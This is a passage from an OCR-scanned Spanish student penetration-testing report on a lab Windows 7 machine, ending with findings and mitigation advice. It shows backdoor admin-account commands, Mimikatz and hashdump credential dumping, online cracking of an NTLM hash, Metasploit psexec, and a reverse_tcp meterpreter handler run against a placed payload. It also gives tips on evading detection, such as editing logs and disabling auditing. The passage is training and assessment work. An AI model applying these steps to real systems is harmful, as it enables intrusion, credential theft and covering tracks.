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e Implicaciones:

o Control total: El atacante puede realizar cualquier accion en el sistema, desde
modificar archivos y configuraciones hasta instalar software malicioso o robar
datos sensibles.

o Persistencia: Puede crear cuentas de usuario con privilegios administrativos para
mantener el acceso a largo plazo, incluso después de reiniciar el sistema.

o Escalada lateral: Podria utilizar el sistema comprometido como punto de partida
para atacar otros sistemas en la red (Raul-Profesor, s. f.).

¢Por qué es tan grave tener los privilegios NT AUTHORITY\SYSTEM?

e Acceso a todos los recursos: Este usuario tiene acceso a todos los recursos del sistema,
incluyendo archivos, registros, servicios y dispositivos.

o Capacidad de modificar la configuracion: Puede cambiar cualquier configuracion del
sistema, incluyendo las politicas de seguridad.

e Ejecucion de cddigo con los mas altos privilegios: Cualquier codigo ejecutado bajo esta
cuenta tiene los permisos mas elevados, lo que facilita la ejecucion de malware y la
persistencia en el sistema.

A pesar de que no es muy aconsejable crear un nuevo usuario con elevacion de privilegios
en la maquina win7 ya comprometida, es fundamental comprender que la menor huella que dejes
en un sistema comprometido, mayores seran las posibilidades de éxito y menor el riesgo de ser

detectado (Burdova, 2023).
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Aqui presento algunas estrategias para minimizar tu huella digital:

Durante la Explotacion

Utiliza herramientas de linea de comandos: Prefiere herramientas como PowerShell o
CMD en lugar de interfaces graficas, ya que generan menos registros.

Evita crear archivos innecesarios: Solo crea los archivos estrictamente necesarios para
llevar a cabo tu objetivo.

Elimina los archivos temporales: Después de utilizar un archivo, eliminalo para no dejar
rastro.

Modifica los registros: Edita los archivos de registro para eliminar cualquier evidencia de
tu actividad. Sin embargo, ten cuidado de no dafiar el sistema.

Utiliza memorias USB escribibles: Si necesitas transferir archivos, utiliza memorias USB

escribibles para evitar dejar rastros en el sistema (Felipe, 2022).

Después de la Explotacion

Elimina el usuario creado: Si has creado un nuevo usuario, eliminalo una vez que hayas
terminado de usarlo.

Restaura la configuracion original: Si has modificado alguna configuracion, restaurala a
su estado original.

Limpia el historial de comandos: Elimina el historial de comandos de las herramientas
que has utilizado.

Deshabilita la auditoria: Si el sistema tiene habilitada la auditoria, desactivala

temporalmente para evitar dejar un registro de tus acciones (Robmazz, 2024).
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Herramientas y Técnicas Avanzadas

Memorias RAM limpias: Utiliza memorias RAM limpias para evitar que los datos
persistan en la memoria del sistema.
Sistemas operativos en vivo: Utiliza sistemas operativos en vivo para realizar tus acciones
sin modificar el sistema objetivo.
VPN y proxies: Utiliza VPN y proxies para ocultar tu direccion IP y enmascarar tu tréafico.
Herramientas de post-explotacion: Existen herramientas especializadas para realizar
tareas como la escalada de privilegios, la exfiltracion de datos y la limpieza de huellas.

o Metasploit

o Meterpreter

o Cobalt Strike

o Empire Framework (Cilleruelo, 2024).

Consideraciones Adicionales

Principio de menor privilegio: Siempre opera con el minimo conjunto de privilegios
necesarios para completar tu tarea.

Evita la persistencia: No busques formas de mantener el acceso al sistema a largo plazo,
ya gue esto aumenta el riesgo de deteccion.

Conoce el sistema: Cuanto mas sepas sobre el sistema objetivo, mejor podras planificar

tus acciones y minimizar tu huella digital.
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*Pero como es una solicitud de la guia de actividades procedo a su creacion.*
Creacion de un Usuario Administrador

e Crea un nuevo usuario administrador en la maquina comprometida:

llustracion 129 Creacién nuevo usuario en Win7

C:\Windows\system net user "Rodrigo Mendez" [123456] /fadd
net user "Rodrigo Méndez" [123456] /add

Se ha completado el comando correctamente.

C:\Windows“system32>

Fuente: Elaboracion propia.

Analisis del Comando y sus Implicaciones
Comando Ejecutado: “net user "Rodrigo Méndez" [123456] /add”
Explicacion Detallada:

e netuser: Este es un comando de linea de comandos de Windows utilizado para administrar
cuentas de usuarios.

e "Rodrigo Méndez™: Este es el nombre de usuario gue se esta creando.

e [123456]: Esta es la contrasefia asignada al nuevo usuario. Importante: El uso de una
contrasefia tan débil como "123456" es extremadamente inseguro y representa una grave
vulnerabilidad.

o /add: Este parametro le indica al comando que debe crear un nuevo usuario con los datos
especificados (HARDMICRO, 2024).

Implicaciones de Seguridad:

e Riesgo de Compromiso: La creacion de un usuario con una contrasefia tan debil debilita
significativamente la seguridad del sistema. Un atacante podria facilmente adivinar o
utilizar herramientas automatizadas para encontrar esta contrasefia y obtener acceso no

autorizado(Ricds, 2020).
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o Persistencia del Ataque: Al crear un nuevo usuario, el atacante establece una puerta
trasera en el sistema. Incluso si se elimina la sesion de Metasploit, el atacante puede volver
a acceder al sistema utilizando las credenciales del nuevo usuario(Ricés, 2020).

o Escalada de Privilegios: Si el atacante logra obtener privilegios administrativos para el
nuevo usuario, puede realizar cualquier accion en el sistema, incluyendo la instalacion de
malware, la modificacion de configuraciones criticas y el robo de datos(Ricdés, 2020).

Adicionando el usuario recién creado al grupo de administradores del sistema

net localgroup administrators ""Rodrigo Méndez' /add
lustracion 130 Adicion del usuario al grupo Administrador

Ci\Windowsh\syst

C:\Windows\systenm

C:\Windows\syst

Fuente: Elaboracion propia.
Analisis de la Imagen y el Comando
Comando Ejecutado: “net localgroup Administradores "Rodrigo Méndez" /add”
Explicacion:
e netlocalgroup: Este comando se utiliza en Windows para administrar grupos de usuarios.
e Administradores: Este es el nombre del grupo al que se quiere agregar al nuevo usuario.
El grupo de administradores tiene los privilegios mas altos en un sistema Windows.
e "Rodrigo Méndez": Este es el nombre del usuario que se acaba de crear y que se quiere
agregar al grupo de administradores.
e J/add: Esta opcion indica que se desea agregar el usuario especificado al grupo

indicado(Taborda, 2018).
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Lo que Significa Este Comando:

Este comando, en pocas palabras, estd elevando los privilegios del usuario recién creado
"Rodrigo Méndez" al nivel de administrador. Esto significa que este usuario ahora tiene permisos
para realizar cualquier accion en el sistema, incluyendo:

o Instalar y desinstalar software.

e Maodificar configuraciones del sistema.

e Acceder a todos los archivos y recursos del sistema.

e Crear y eliminar otros usuarios.

Implicaciones de Seguridad:

e Riesgo de Compromiso Grave: Al agregar un usuario al grupo de administradores, se esta
otorgando acceso completo al sistema a ese usuario. Si las credenciales de este usuario
caen en manos de un atacante, el sistema queda completamente comprometido (Silverfort,
2024).

o Persistencia del Ataque: La creacion de un usuario administrador permite al atacante
mantener el acceso al sistema incluso después de que la sesion actual se cierre o el sistema
se reinicie(Batamig, 2024).

o [Escalada de Privilegios: Si un atacante ya tiene acceso a un sistema con privilegios
limitados, agregar un usuario al grupo de administradores le permite escalar sus privilegios
y obtener control total sobre el sistema (Silverfort, 2024).

Verificacion de la Operacion:

Para verificar si el usuario ha sido agregado correctamente al grupo de administradores, se

puede ejecutar el siguiente comando:

net localgroup Administradores
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Este comando mostrara una lista de todos los usuarios que pertenecen al grupo de
administradores. Si el usuario "Rodrigo Méndez" aparece en esa lista, esto significa que la
operacion se ha realizado correctamente.

La imagen muestra que un atacante ha logrado agregar un usuario al grupo de
administradores en un sistema comprometido. Esta accion representa una grave amenaza para la
seguridad del sistema, ya que otorga al atacante los maximos privilegios posibles (Silverfort,

2024).

llustracion 131 verificamos la creacién del usuario con privilegios de administrador

C:\Windows\system32>net localgroup Administradores

net localgroup Administradores

Nombre de alias Administradores

Comentario Los administradores tienen acceso completo y sin restricciones al equipo o dominio

Miembros

Administrador

Rodrigo Méndez

usuario

Se ha completado el comando correctamente.

C:\Windows\system32>}

Fuente: Elaboracion propia.
Comando Ejecutado: “net localgroup Administradores”

Este comando se utiliza en Windows para listar los miembros de un grupo de usuarios
especifico. En este caso, estamos solicitando la lista de usuarios que pertenecen al grupo
"Administradores".

Salida del Comando:
La salida del comando muestra informacion detallada sobre el grupo de administradores:
o Nombre de alias: Administradores. Este es el nombre del grupo.
e Comentario: Indica que los miembros de este grupo tienen acceso completo y sin

restricciones al equipo o dominio.
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e Miembros:
o Administrador: Este es el usuario administrador por defecto en un sistema
Windows.
o Rodrigo Méndez: Este es el usuario que hemos agregado recientemente al grupo
utilizando el comando anterior.

La imagen confirma que el usuario "Rodrigo Méndez" ha sido agregado correctamente al
grupo de administradores. Esto significa que este usuario ahora tiene los mismos privilegios que
el usuario administrador por defecto, lo que le otorga control total sobre el sistema.
Implicaciones de Seguridad:

e Riesgo Elevado: La presencia de un usuario adicional en el grupo de administradores
aumenta significativamente el riesgo de un compromiso del sistema.

o Persistencia del Ataque: El atacante ahora tiene una forma persistente de acceder al
sistema, incluso si la sesion actual se cierra.

o [Escalada de Privilegios: Si otros usuarios son comprometidos, el atacante podria utilizar

las credenciales de "Rodrigo Méndez" para escalar sus privilegios y obtener acceso a

sistemas adicionales(Silverfort, 2024)..

Captura de Trafico de con Wireshark

o Filtra en Wireshark para ver los comandos SMB ejecutados:

ip.addr == 192.168.5.102 && tcp.port == 445
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llustraciéon 132 Analisis de trafico

OO aIs|§c

File Edit View Go Capture Analyze Stafistics Telephony Wireless Tools Help

A VUEKRERSd .

ddr == 1921685100 & tep.port== 443

Time Source " Destination Protocol Length Info

1546.. 13239.964924.. 192.188.5.165 192.168.5.162 TP 66 46395 - 445 [FIN, ACK] Seq=4206 Ack=1 Win=32128 Len=8 TSval=3798326764 TSecr=1791371
r 1548, 13505.355490. 192.160.5.165 192.168.5.162 TP 74 42979 - 445 [SYN] Seq=0 Win=32128 Len-5 MSS=1460 SACK_PERM TSval=3798586094 TSecr=§ WS=126
1548... 1355, 356965.. 192.16.5.165 192.168.5.162 TP 66 42979 - 445 [ACK] Seq=1 Ack=1 Win=32126 Len=0 TSval-=379B5868%6 TSecr=1817638
1548.. 13585.369612.. 192.168.5.185 192.168.5.162 SHB 154 Negotiate Protocol Request
1548.. 13585.376948.. 192.168.5.185 192.168.5.162 TCP 66 42979 - 445 [ACK] Seq=89 Ack=132 Win=32000 Len-8 TSval-3798586118 TSecr=1817898
1548... 13585.374199.. 192.168.5.185 192.168.5.162 SHB 212 Session Setup AndX Request, NTLMSSP_NEGOTIATE
1548... 13585.377784.. 192.168.5.185 192.168.5.162 SHB 262 Session Setup AndX Request, NTLMSSP_AUTH, User: \
1548... 13585.361559.. 192.168.5.165 192.168.5.162 SHB 141 Tree Connect AndX Request, Path: \\192.168.5.162\1PCS
1548.. 13585.364882.. 192.168.5.165 192.168.5.162 SHB 144 PeekNanedPipe Request, FID
192.168.5.162

386167 TSecr=1817961

: . g .108.2. 16 B : ;
1548.. 13585.484842.. 192.168.5.165 192.168.5.162 TP 66 42979 - 445 [ACK] Seq=667 Ack=662 Win=31872 Len=b TSval=3798586224 TSecr=1817911
1548.. 13506.206156.. 192.168.5.165 192.168.5.162 TCP 66 42979 - 445 [FIN, ACK] Seq=667 Ack=662 Win=31872 Len=8 TSval=3798586945 TSecr=1817911
1548.. 13506.249491.. 192.168.5.165 192.168.5.162 TCP 14 34877 - 445 [SYN] Seq=0 Win=32128 Len-8 MSS-1466 SACK_PERM TSval=3798586988 TSecr=0 WS=128

1548.. 13506.251902.. 192.168.5.165 192.168.5.162 TCP 66 34877 - 445 [ACK] Seq=1 Ack=1 Win=32128 Len=9 TSval-3798386991 TSecr=1817987
1548.. 13586.255990.. 192.168.5.165 192.168.5.162 SHB 117 Negotiate Protocol Request
1548.. 13506.266066.. 192.168.5.165 192.168.5.162 TCP 66 34677 - 445 [ACK] Seq=52 Ack=132 Win=32660 Len=b TSval=3798567664 TSecr=1817988

1548.. 13506.272250.. 192.168.5.185 192.168.5.162 SHB 262 Session Setup AndX Request, User: anonymous

1548.. 13566, 266850.. 192.188.5.168 192.168.5.162 SHB 141 Tree Connect AndX Request, Path: \\192.168.5.162\IPCS

1548.. 13566.292731. 192.180.5.168 192.168.5.162 B 1450 NT Trans Request, <unknown>

1548.. 13566.326387.. 192.180.5.168 192.168.5.162 B 7386 Trans? Secondary Request, FID: Bxd668

1546.. 13566.326542.. 192.166.5.165 192.168.5.162 B 7306 Trans? Secondary Request, FID: 6x@088Trans? Secondary Request, FID: 6x6668
1548.. 13586.324115.. 192.168.5.165 192.168.5.162 B 5858 Trans? Secondary Reguest, FID: 8x0868

1548.. 13586.321208.. 192.168.5.185 192.168.5.162 B 8754 Trans? Secondary Request, FID: BxB888Trans? Secondary Reguest, FID: 8x0868
1548.. 13586.324277.. 192.168.5.185 192.168.5.162 B 8754 Trans2 Secondary Request, FID: 8xB806Trans2 Secondary Reguest, FID: Ax8868
1548.. 13586.321354.. 192.158.5.165 192.168.5.162 SHB 5856 Trans2 Secondary Reguest, FID: Bx0860

1548.. 13586.321728.. 192.158.5.165 192.168.5.162 SHB 2962 Trans2 Secondary Reguest, FID: 8x0860

1548.. 13566. 324772, 192.168.5.185 192.168.5.162 SHB 8754 Trans2 Secondary Request, FID: 8x8889Trans2 Secondary Reguest, FID: 8x0808
1548.. 13586, 321828.. 192.168.5.185 192.168.5.162 SHB 7337 Trans2 Secondary Request, FIO: 6x@088Trans2 Secondary Request, FID: 6xeeee
1556.. 13516.379889.. 192.168.5.185 192.168.5.162 TP 66 34877 — 445 TFIN. ACK] Se0=63642 Ack=354 Win-=3286@ Len-B TSval-379857669 TSecr=1817994

Fuente: Elaboracion propia.
Anélisis de la Captura de Wireshark
La captura de Wireshark nos muestra una conversacion de red entre dos dispositivos en
una red local. Especificamente, se esta capturando el trafico entre la direccion IP 192.168.5.100 y
192.168.5.102, el cual esta siendo filtrado para mostrar Unicamente los paquetes que utilizan el
protocolo TCP en el puerto 445. Este puerto estd asociado cominmente con el protocolo SMB
(Server Message Block), que se utiliza para compartir archivos y recursos en redes Windows.

. Qué significa el filtro “ip? addr == 192.168.5.102 & & tcp.port == 445"?
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e ip.addr == 192.168.5.102: Esta parte del filtro indica que solo se mostraran los paquetes
que tienen como destino u origen la direccion IP 192.168.5.102.

o tcp.port == 445: Esta parte del filtro especifica que solo se mostraran los paguetes que
utilizan el protocolo TCP en el puerto 445, que es el puerto estandar para el protocolo SMB.

Al combinar ambas partes del filtro, se garantiza que solo se visualicen los pagquetes que
estan relacionados con la comunicacién SMB entre la direccion IP 192.168.5.102 y cualquier otro
dispositivo en la red.
¢ Qué podemos inferir de los paquetes SMB?

Los paquetes SMB en esta captura indican que se esta llevando a cabo una comunicacion
relacionada con el compartimiento de archivos y recursos entre los dos dispositivos. Algunos de
los servicios SMB comunes que se pueden identificar en esta captura incluyen:

o Negotiate Protocol: Se utiliza para negociar la versién del protocolo SMB vy las
caracteristicas que seran utilizadas en la conexion.

e Session Setup AndX: Se utiliza para establecer una sesion SMB entre los dos dispositivos.

e Tree Connect AndX: Se utiliza para conectarse a un recurso compartido en el servidor

SMB.

e Trans2 Secondary Request: Se utilizan para realizar diversas operaciones en el recurso
compartido, como leer, escribir o borrar archivos.
Posibles Escenarios y Amenazas

Basandonos en la informacion, podemos considerar los siguientes escenarios:

e Acceso a recursos compartidos: Un usuario en el sistema 192.168.5.100 esta accediendo

a archivos o carpetas compartidas en el sistema 192.168.5.102.

e Exploracién de vulnerabilidades: Un atacante podria estar explorando vulnerabilidades
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en el servidor SMB para obtener acceso no autorizado al sistema.
e Transferencia de archivos: Se podria estar realizando una transferencia de archivos entre
los dos sistemas.
o Ataque de fuerza bruta: Si se observan numerosos intentos fallidos de autenticacion,
podria indicar un ataque de fuerza bruta contra las credenciales de acceso al servidor SMB.
Ahora vamos a cargar el kiwi / Mimikatz, para luego Dumpear los hashes. Para ello usamos
los siguientes comandos: load Kiwi y posterior a que nos cargue el Mimikatz, lanzamos otro
comando el Isa_dump_sam, el cual nos mostrara los hashes NTLM los cuales usan una
encriptacion (contrasefias), mas segura, estos fueron implementados a partir de Windows 7 en

adelante y es nativa de estos sistemas operativos.

lHustracion 133 Cargar el exploit Kiwi / Mimikatz

cofmand reguires the "kiwi" extension to be loaded (rum: “load kiwi™)

Fuente: Elaboracion propia.
La imagen es interesante y relevante porque demuestra el proceso de cargar la extension
"kiwi" (parte de Mimikatz) en Meterpreter para realizar tareas avanzadas de post-explotacion,

como volcar credenciales de la base de datos de Security Account Manager (SAM).
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llustracion 134 Comando para intenta leer el archivo SAM

Fuente: Elaboracion propia.

La imagen muestra una sesion de terminal utilizando Meterpreter, un payload dentro del
framework Metasploit. El usuario esté ejecutando el comando Isa_dump_sam para volcar la base
de datos del Administrador de Cuentas de Seguridad (SAM) que contiene informacion de cuentas
de usuario y hashes de contrasefias en un sistema Windows.

Ahora si vamos a Dumpear el hash con el comando “hashdump”.

llustracién 135 Volcado de los hashes de contrasefias

Fuente: Elaboracion propia.

La imagen muestra una sesion de la herramienta Meterpreter dentro del framework
Metasploit. En esta sesion, se ejecuta el comando hashdump para extraer los hashes de las
contrasefias de los usuarios del sistema objetivo. Este es un paso comdn en las pruebas de
penetracion para obtener informacion sobre las contrasefias sin necesidad de conocerlas en

texto claro.
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llustracion 136 Hashes obtenidos

meterpreter >

Administrador
HomeGroupll

Fuente: Elaboracion propia.

Como podemos ver el comando nos muestra todos los hashes de las cuentas, en este caso
especial tomaré en cuenta dos el del Administrador:(500) y la cuenta con mi nombre que también
cuenta con privilegios elevados de administrador Rodrigo M |—®ndez:(1003).

Ahora guardamos los hashes

lHustracion 137 Almacenando los Hash en maquina atacante

kali@RIMK: ~
File Actions Edit View Help

GNU nano 8.1 password
Administrador:50
HomeGroupls

Invitado:50

Rodrigo M}$

usuarie:1001:aad3b435b51404eeaad3bs35b51404ee:31d6cTedd16ae931b73c59d7e0cBB89cd @

Fuente: Elaboracion propia.
La imagen muestra una captura de pantalla del editor de texto GNU nano 8.1, en la que se
observa el contenido de un archivo del sistema, probablemente el archivo /etc/shadow de un

sistema operativo tipo Unix. Este archivo contiene informacién de las cuentas de usuario y los

hashes de las contrasefias.
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Verificamos con el comando “cat password.txt”

llustracién 138 Verificando el almacenamiento del archivo con los hashes

HomeGroupUser$:10@ 35b51404¢ 14@4ee:194de

Invitado:501:: 51404 3b43 e:31d6cfeddlba

Fuente: Elaboracion propia.
Ahora suponiendo que el computador objetivo fue apagado vamos a buscar una exploit
“psexec” con el Metasploit. Pero primero lo dejamos en standby con control (z) y

posteriormente (y).

llustracion 139 Saliendo del SMB en segundo plano

/N]

Run Lp command for more deta

Fuente: Elaboracion propia.

Ahora si, vamos a aprovechar el exploit antes mencionado “psexec”

llustracion 140 Usando el comando search para buscar el exploit psexec

ws/Ssmb/smb_rel 2@@1— 31

rosof i on SMB Re e : cution
Do mot close the E er Te yvinmg, and

PSEXEC = =
MB onnection to run the exploit/windows/pSEXEE module a

Au{cmatic
PowerShell
Matiwve wupload
MOF wupload
Command

‘smb/ms1 l10_psexec 14 normal
rnalRom FSEternalSyner r hampion SMB Remote

Automatic

Fuente: Elaboracion propia.
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La imagen muestra una terminal de Metasploit Framework (msf6) en la que se ha ejecutado
el comando search psexec. Los resultados de la busqueda incluyen varios médulos relacionados
con psexec y ejecucion de codigo a través del protocolo SMB en sistemas Windows. Algunos
modulos destacados son:

o auxiliary/scanner/smb/impacket/dcomexec: Ejecucion DCOM.
o exploit/windows/smb/smb_relay: Ejecucion de cddigo a través de Microsoft Windows

SMB Relay (MS08-068).

o exploit/windows/smb/ms17 010 psexec: Ejecucién remota de codigo Windows
mediante EternalRomance/EternalSynergy/EternalChampion (MS17-010).

Esta busqueda es util para identificar modulos especificos que se pueden utilizar para
explotar vulnerabilidades en el servicio SMB de Windows utilizando el comando psexec.

El exploit que utilizaré sera el “24 exploit/Windows/smb/psexec”.

llustracion 141 ldentificando el exploit psexec

14 normal
ympion SME Remote

: ETERMALROMAMNCE
: ETERMALCHAMPION

: ETERMALEBELUE

ner/smb/pSENEE loggedin_users = normal
T - = In Enumeration
1—-@1 manual
tion

target: MNatiwve upload

Fuente: Elaboracion propia.

La imagen muestra una lista de modulos del Metasploit Framework relacionados con
exploits SMB (Server Message Block) y funciones auxiliares. El modulo destacado en la imagen
es: 24 exploit/windows/smb/psexec

Este mddulo indica un exploit para Windows SMB utilizando PsExec, una herramienta

para ejecutar procesos en sistemas remotos. EI modulo se usa para la ejecucion de codigo
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autenticado en usuarios de Microsoft Windows.

Lanzamos el exploit y nos vamos a centrar en

lHustracion 142 Lanzando el exploit con el comando use y su ID

Fuente: Elaboracion propia.

La imagen muestra una captura de pantalla del Metasploit Framework en la que se
ejecuta el comando use 24 para seleccionar el modulo de exploit windows/smb/psexec. Este
maodulo es utilizado para la ejecucion de codigo en sistemas Windows a través del protocolo
SMB, permitiendo a los atacantes ejecutar comandos de manera remota en maguinas
comprometidas. El exploit psexec es particularmente Util en pruebas de penetracion y

actividades de post-explotacion.

lHustracion 143 Show options

n Metasploit 6.4 - This module can target a SESSIC
( ) >
options

riptien

... ) or a normal read/write folder share

Used when making :

Name Curr

asploit.com/docs/using tasploit/ba s/using-metasploit.html

ess, none)
ed)
The listen port

View the full module info with the , or d command.

Fuente: Elaboracion propia.
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La imagen muestra la  configuracion del modulo de  explotacion
exploit/windows/smb/psexec en Metasploit Framework. Este médulo permite la ejecucion de
cddigo en sistemas Windows a través del protocolo SMB. Las configuraciones clave incluyen
opciones para la descripcion del servicio, nombre del servicio, y comparticibn SMB, asi como
parametros para la sesion, host objetivo (RHOSTS), puerto (RPORT), y credenciales SMB.
También se establecen las opciones del payload, como la direccién y puerto de escucha para
windows/meterpreter/reverse_tcp.

Esta configuraciéon es esencial para definir como se llevara a cabo el exploit y cémo se
conectara al host objetivo utilizando el protocolo SMB.

Configuramos el exploit y luego verificamos los privilegios del usuario “Rodrigo M |—®ndez”

llustracion 144 Meterpreter obtiene acceso y recopila informacion del sistema

31d7b19e43ef198

s user 'Rodrigo M}®n
th SMB1 (current versic

Fuente: Elaboracion propia.

Con la ayuda de esta herramienta en linea desciframos el hash de la contrasefia

llustracion 145 Hash MLTN del usuario creado Rodrigo

Fuente: Elaboracion propia.

196



La imagen muestra una seccion de una terminal o interfaz de linea de comandos con
texto resaltado. El texto resaltado incluye un nombre "Rodrigo Méndez" y una cadena de
caracteres "971aeb95d79592013d7b19e43ef198". El contexto esta relacionado con cuentas de

usuario o seguridad, posiblemente involucrando contrasefias hasheadas o identificadores de

usuario.
llustracion 146 Descifrado del Hash del usuario Rodrigo
Cracker de hash de contrasefia gratuito
Introduzca hasta 20 hashes sin sal, uno por linea:
971aeb95d2795920131d7b19e43ef198
Admite: LM, NTLM, md2, md4, md3, md5(md3_hex), mdS-half, shal, sha224, sha256, sha384, sha512, matureMD160, whirlpool, MySQL 4.1+ (shal(shal_bin)),
Qubesv3.1BackupDefaults
971aeb95d2795920131d7b19e43e7198 NTLHM [123456]

Cadigos de color: J/éfde] coincidencia exacta, Amarillo: coincidencia parcial, il no encontrado.

Fuente: Elaboracion propia.

La imagen muestra una pagina web titulada "Cracker de hash de contrasefia gratuito”. La
pagina permite a los usuarios ingresar hasta 20 hashes para ser descifrados, uno por linea. El hash
"971aeb95d2795920131d7b19e43ef198" esta ingresado en el cuadro de entrada.

o El hash ingresado "971aeb95d2795920131d7b19e43ef198" aparece en la seccion
de resultados con un fondo verde, indicando una coincidencia exacta.

o Tipo de Hash: Identificado como NTLM.

o Resultado: El hash corresponde a la contrasefia "123456".

Esto demuestra el uso de una herramienta en linea para descifrar hashes de contrasefias
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utilizando varios algoritmos de hash.

Andlisis de trafico con WireShark

lHustracion 147 Analisis de trafico luego de lanzar el exploit

1614 1163, 4936561, 192.168.5.162 192.168.5.165 TCP 230 9167 - 4444 [PSH, ACK] Seq=5662 Ack=A1967B Wir-2528%5 Len-16
1615 1163.4938832.. 192.168.5.185 192.168.5.162 (P 54 4444 - 43167 [ACK] Seq=A19678 Ack=5838 Win-31872 Len=0
1516 1165, 4956974, feB6::4842:9ced: e, Ffe2::1:2 DHPYE 150 Solicit XI0: Buedchee CID: B9010R172686Tc188806270788co

1622 1187, 38516 1 ] f Len-8

1625 1189.4969758 Sced:ded.. f162::1: DHCPvG 158 Solic1t XID: Bxedchiec CID: B9G10861258570168866279268c0
1624 1119, 2619432., 192.168.5.165 107.168.5.162 TtP 182 4444 - 48166 [PSH, ACK] Seq=24678 Ack=1278 Win-31723 Len-128
1625 1110, 3424728, 192.168.5.162 192.166.5.165 TtP 244 49166 - 4444 [PSH, ACK] Seq=7278 Ack=284798 Win=53472 Len-160
1626 1119, 3422662.. 192.168.5.165 192.168.5.162 Tt 54 444 - 49166 [ACK] Seqr264798 Ack7438 Win=31723 Len-@

1697 1111.7397188 TnlinkTechnn 97'8e: . Arnadeast i

L6}
DHCPve

Fuente: Elaboracion propia.
En la captura de Wireshark, se pueden observar algunos indicios que podrian sugerir
intentos de ataque o actividades inusuales en la red:

1. Paquetes Resaltados en Rojo: Estos pueden indicar problemas como reinicios de TCP o
reutilizacion de puertos, lo cual puede ser un signo de comportamiento anémalo o intentos
de conexidn fallidos, posiblemente relacionados con un escaneo de puertos o intentos de
explotacion de vulnerabilidades.

2. Solicitud ARP Resaltada en Amarillo: La solicitud ARP para determinar la direccion
MAC de la IP 192.168.5.102 puede ser parte de una actividad normal en la red, pero si se

observa un namero inusual de solicitudes ARP, podria indicar un ataque de ARP spoofing.
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Ejecutar el Payload en la Maquina Objetivo para esto en la maquina Windows, se deben
seguir estos pasos:
1. Navegar al Archivo

Ve a la ubicacion donde descargaste payload.exe (el Escritorio).

lHustracion 148 Payload en el escritorio del Windows 7

B YWin7 SE2OZ20 X643 [Corriendol — <

Fuente: Elaboracion propia.
2. Ejecutar el Archivo:
Hacemos doble clic en payload.exe para ejecutarlo. Dependiendo de la configuracion de
seguridad de la maquina, es posible que recibas advertencias. Confirma la ejecucion si es seguro

proceder.

lustracion 149 Inicio de sesion al ejecutar el payload

Fuente: Elaboracion propia.
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La imagen muestra una sesion de terminal del Metasploit Framework configurando y
ejecutando un exploit. Aqui esta el resumen:
1. Seleccion y Configuracion del Médulo:
e Se selecciona el modulo exploit/multi/handler y se configura el payload
windows/meterpreter/reverse_tcp.
e Se establecen las direcciones IP y puerto (LHOST a 192.168.5.105 y LPORT a 443).
e Se configura ExitOnSession en false para evitar que el exploit termine tras abrir una
sesion.
2. Ejecucion del Exploit:
e El comando exploit -j -z ejecuta el exploit en segundo plano.
e Se inicia un handler TCP inverso en la direccién y puerto configurados.
3. Apertura de Sesion:
e Se abre una sesién Meterpreter (session 1) entre la maquina atacante y la maquina
objetivo.
Verifica la sesion en Metasploit:
En la consola de Metasploit, uso el comando “sessions -1” para listar todas las sesiones

activas.

lustracion 150 Uso del comando sessions -|

y type "exit -y"

emyway type "exit -y"

Id Name Type Information Connection

meterpreter x86/windows P \Rodrigo M_ndez @ PC202006 192.1 3 — 192.168.5.102:49162
(192.1¢

Fuente: Elaboracion propia.
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Informe
Introduccion

Este informe documenta una prueba de penetracién (pentesting) realizada en un entorno
virtualizado sobre un sistema operativo Windows 7, que se configuré como maquina objetivo. Esta
evaluacion tuvo como objetivo identificar y explotar posibles vulnerabilidades en un escenario
controlado, simulando el impacto potencial de un ataque real. La metodologia de pentesting siguid
las cinco fases esenciales de esta practica profesional: recoleccion de informacion, andlisis de
vulnerabilidades, explotacion, escalamiento de privilegios y la documentacion de hallazgos. Esta
metodologia permiti6 obtener una comprension profunda de las fallas de seguridad detectadas, asi
como establecer recomendaciones especificas para mitigar riesgos.

Metodologia La prueba de penetracion se dividié en las siguientes fases:

1. Recoleccién de Informacion: Identificacion de detalles clave sobre la configuracion de
red y caracteristicas del sistema objetivo, para sentar las bases del analisis.

2. Analisis de Vulnerabilidades: Uso de herramientas como Nessus y Nmap para detectar
puertos abiertos, servicios expuestos y configuraciones de seguridad débiles en el sistema
Windows 7.

3. Explotacién: Ejecucion de ataques controlados sobre las vulnerabilidades criticas
identificadas, utilizando exploits conocidos para simular el impacto en el sistema.

4. Escalamiento de Privilegios: Validacion de la posibilidad de un atacante de tomar control
total del sistema a partir de las vulnerabilidades explotadas.

5. Informe: Documentacion detallada de los hallazgos y desarrollo de recomendaciones
especificas para abordar las vulnerabilidades encontradas.

Principales Hallazgos En el transcurso de la prueba de penetracion, se identificaron varias
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vulnerabilidades criticas en la maquina Windows 7, que expusieron el sistema a riesgos graves de
seguridad. Entre los hallazgos méas importantes, se incluyen:

1. EternalBlue (CVE-2017-0143): Esta vulnerabilidad en el protocolo SMB v1 permite a un
atacante ejecutar codigo arbitrario en el sistema de forma remota, lo que le otorgaria control
total sobre el sistema afectado. EternalBlue es una de las vulnerabilidades méas explotadas
y ha sido utilizada en ciberataques de gran alcance, como el ransomware WannaCry.

2. Vulnerabilidad en Rejetto HTTP File Server (CVE-2024-23692): Detectada en el
puerto 8080, esta vulnerabilidad permite la ejecucion de codigo remoto. Un atacante podria
explotarla para acceder y controlar el sistema sin autorizacion.

3. Vulnerabilidades adicionales en servicios de red: Se identificaron puertos y servicios
abiertos con configuraciones de seguridad insuficientes, que permitirian accesos no
autenticados y exponen el sistema a ataques de denegacion de servicio (DoS).

Impacto y Riesgo Asociado Las vulnerabilidades encontradas representan un riesgo
critico para la organizacion, ya que su explotacion podria llevar a:

o Pérdida de confidencialidad, integridad y disponibilidad de datos, permitiendo a un
atacante acceder a informacion sensible y archivos criticos.

e Control remoto completo del sistema comprometido, permitiendo la ejecucion de
programas no autorizados, como malware o ransomware, que podria comprometer toda la
red.

o Ataques adicionales desde el sistema comprometido a otros equipos en la red,

incrementando la extension y severidad del ataque.

202



Recomendaciones de Mitigacién

1. Aplicar parches y actualizaciones: Las vulnerabilidades detectadas en el sistema
Windows 7 tienen parches de seguridad disponibles que deben aplicarse de inmediato para
evitar ataques conocidos.

2. Fortalecer la configuracién de servicios: Desactivar protocolos y servicios no esenciales,
y restringir el acceso a puertos expuestos mediante el uso de firewalls para reducir la
superficie de ataque.

3. Implementar herramientas de monitoreo y deteccion de intrusiones: Las herramientas
de monitoreo ayudaran a detectar actividades sospechosas en la red, permitiendo una
respuesta rapida ante amenazas.

4. Actualizar politicas de seguridad: Reforzar los controles de acceso y permisos de usuario
para minimizar los riesgos asociados a accesos no autorizados y privilegios elevados.

Hardening: En seguridad informatica es el proceso de asegurar un sistema mediante
